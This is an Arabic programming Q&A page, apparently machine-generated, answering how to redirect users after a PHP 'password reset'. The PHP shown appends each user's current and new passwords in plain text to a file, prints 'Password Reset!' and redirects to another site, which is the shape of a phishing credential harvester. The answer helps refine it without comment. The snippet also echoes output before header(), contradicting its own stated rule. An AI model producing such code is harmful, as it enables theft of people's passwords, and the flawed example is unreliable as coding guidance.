كيفية إعادة توجيه المستخدمين بعد إعادة تعيين كلمة المرور في PHP
To redirect to a different website after displaying “Password Reset!” in PHP, you can use the header()
function to send a raw HTTP header to the browser. Here’s how you can modify your code to include the redirect:
php
// Open the text file
$f = fopen("users.txt", "a");
// Write text
fwrite($f, $_POST["_current_password1_"]);
fwrite($f, $_POST["_new_password1_"]);
// Close the text file
fclose($f);
// Display message
echo "Password Reset!";
// Redirect to a different website
header("Location: http://www.example.com");
exit;
?>
Make sure to replace http://www.example.com
with the URL of the website you want to redirect to. Also, note that the header()
function must be called before any actual output is sent to the browser.
-
فرز مصفوفة القواميس في Swift10/03/2024
-
كيفية حفظ الأعداد ضمن حدود في البرمجة05/03/2024
المزيد من المعلومات
بالطبع! في الشفرة التي كتبتها، تقوم بفتح ملف نصي باسم users.txt
باستخدام الوضع “a” (للإضافة)، ثم تكتب فيه كلمة مرور الحساب الحالية وكلمة المرور الجديدة التي تم إرسالها عبر النموذج. بعد ذلك، تقوم بإغلاق الملف وعرض رسالة “Password Reset!” للمستخدم.
لتحقيق التوجيه إلى موقع ويب آخر بعد عرض الرسالة، تستخدم الدالة header()
لإرسال رأس HTTP إلى المستعرض لإعادة توجيه المستخدم إلى العنوان المعطى. يجب أن تتأكد من أن هذه الدالة تُستدعى قبل أن يتم إرسال أي نص إلى المتصفح، ويمكنك استخدام exit
للتأكد من أن لا يتم تنفيذ أي كود بعد التوجيه.
هذا النوع من التوجيه يعتبر “302 توجيه مؤقت”، ويجب أن يحتوي رأس الإجابة الذي يُرسل إلى المتصفح على تعليمات الموقع الجديد للتوجيه.